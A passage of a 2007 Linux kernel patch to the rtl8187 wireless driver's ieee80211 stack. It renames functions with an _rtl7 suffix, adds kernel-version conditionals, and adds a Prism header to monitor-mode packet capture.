-extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-06-08 23:30:47.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-06-08 23:30:47.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device 